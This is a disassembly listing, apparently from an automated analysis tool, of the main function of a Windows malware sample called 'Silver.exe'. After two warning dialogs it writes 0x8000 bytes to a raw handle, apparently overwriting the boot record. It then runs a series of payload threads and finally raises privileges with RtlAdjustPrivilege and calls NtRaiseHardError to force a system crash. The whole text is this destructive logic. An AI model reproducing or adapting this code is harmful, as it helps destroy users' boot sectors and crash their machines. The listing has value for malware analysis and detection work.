Function at 0x402460
Capabilities:
Create thread
Terminate process
Terminate thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MessageBoxW]
push edi
push 0x34
push str.Silver.exe_by_Nyfol2290
push str.This_is_a_Silver.exe_by_Nyfol2290._nYou_sure_to_run_this_malware__n_nWARNING:_This_a_will_destroy_your_boot.
push 0
call esi
cmp eax, 7
je 0x402765
push 0x34
push str.Are_you_sure_
push str.ARE_YOU_SURE__THIS_A_WILL_DESTROY_YOUR_BOOT_
push 0
call esi
cmp eax, 7
je 0x402765
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x404188
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [esp + 0x14]
push eax
push 0x8000
push 0x404588
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x402440
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x401030
push 0
push 0
call ebx
push 0
push 0
push 0
push section..text
push 0
push 0
call ebx
push 0x3e8
call esi
push 0
push 0
push 0
push 0x401080
push 0
push 0
call ebx
mov esi, eax
call fcn.004019e0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push esi
call ebx
push esi
call edi
mov edi, dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401370
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401b40
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4013e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401ca0
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401460
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401e20
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401600
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00401f80
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401890
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.004020f0
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401950
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
call fcn.00402260
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
call edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.NtRaiseHardError
push str.ntdll
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.RtlAdjustPrivilege
push str.ntdll
mov ebx, eax
call edi
push eax
call esi
lea ecx, [esp + 0xf]
push ecx
push 0
push 1
push 0x13
call eax
lea eax, [esp + 0x14]
push eax
push 6
push 0
push 0
push 0
push 0xc00002ac
call ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]